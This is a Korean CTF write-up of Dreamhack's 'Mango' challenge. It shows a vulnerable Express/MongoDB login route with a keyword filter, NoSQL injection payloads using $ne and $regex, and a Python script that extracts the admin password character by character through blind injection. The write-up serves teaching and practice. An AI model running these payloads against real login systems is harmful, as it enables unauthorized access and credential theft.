Web Hacking

[WebHacking] - Dreamhack Mango 문제 풀이 (NoSQL Injection)

Papya_j 2024. 8. 17. 18:48

NoSQL Injection 문제를 풀어보겠다.

 

[문제 분석]

들어가면 나오는 사이트이다. 웹 서버에 접속해보겠다.

 

웹사이트에 들어가니 위와같은 화면이 뜨는게 끝이다.

문제 파일을 받으면 js 와 json파일만 존재하는 것을 볼 수 있다.

main.js 파일을 열어보겠다.

 

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

admin 계정으로 로그인을 해야지 flag가 출력될 것 같다.

또한 주목할 부분은 const BAN이다. -> admin, dh, admi 까지가 입력했을 때 금지되게 설정되어있다.

역시 /login?uid=admin 을 했을 시에 필터링이 되는 것을 볼 수 있다.


[Write Up]

필터를 피하면서 admin로그인에 성공해야 한다.

 

Injection을 위해 /login?uid[$ne]=guset&upw[$ne]=guest를 해보았다. uid, upw 인자가 두개며 각각 guest가 아닌 것으로 로그인을 시도해봤지만 새로운 다른 아이디인 dreamhack이 나온 것을 볼 수 있다.

 

역시 admin을 제대로 저격해야 했다.


/login?uid[$regex]=adm&upw[$ne]=guest

Admin 로그인에 성공했다. 그러나 pw에 대한 정보는 출력되지 않는다. 코드에서도 uid만 출력된다고 되어있기 때문에 pw를 알아야 했다. 

 

결론, admin의 아이디는 알겠으나 비밀번호를 모른다. 이는 결국 Blind NoSQL Injection을 사용해야 된다는 뜻이다.

하나하나 다 대입해보면서 맞으면 로그인 되는 현상을 이용해서 찾아보겠다. 

 

1. 비밀번호 길이 = 문제에 적혀있다. DH{32알파벳,숫자} 로 되어있으니 DH{} 까지 합쳐서 총 36글자이다.

2. 하나씩 대입해보면 되지만 노가다성이 심해서 파이썬으로 코드를 제작 후에 넣어보겠다. DH가 필터링에 걸려있기 떄문에 비밀번호 시작은 D. 로 하면 우회가 가능하다. (. = 어떤 문자든 다 가능한 기호 -> 우리는 이미 H인것을 알고 있다.)

3. admin에 필터링이 걸려있었기 때문에 uid[$regex] =adm 을 사용한 것 처럼 upw[$regex]=D.{ 를 사용해서 찾아보겠다.

 

(구축 환경은 wsl에서 mango.py 파일을 제작한 후 코드를 작성하여 request로 웹사이트에 직접 전송하였다.)

 

정답 코드는 다음과 같다.

import requests
import string

url = 'http://host3.dreamhack.games:8200/login'
flag_set = string.digits + string.ascii_letters + '}'
flag = ''

while True:
    for ch in flag_set:
        response = requests.get(url + "?uid[$regex]=ad.in&upw[$regex]=D.{" + flag + ch)
        if response.text == 'admin':
            flag += ch
            break
    print(flag)

    if '}' in flag:
        break
print('DH{' + flag)

참고 : https://shsh010914.tistory.com/10

 

request 모듈로 원격 url과 접속할 수 있고, string 모듈로 digits, ascii_letters를 받아서 flag_set에 넣는다.

이 후 하나씩 대조해보면서 admin이라는 결과가 출력이 되면 flag 셋에 넣고 최종적으로 }가 출력 되면 break 한 후에 이때까지 넣은 flag가 최종 답이 된다.

 

출력 결과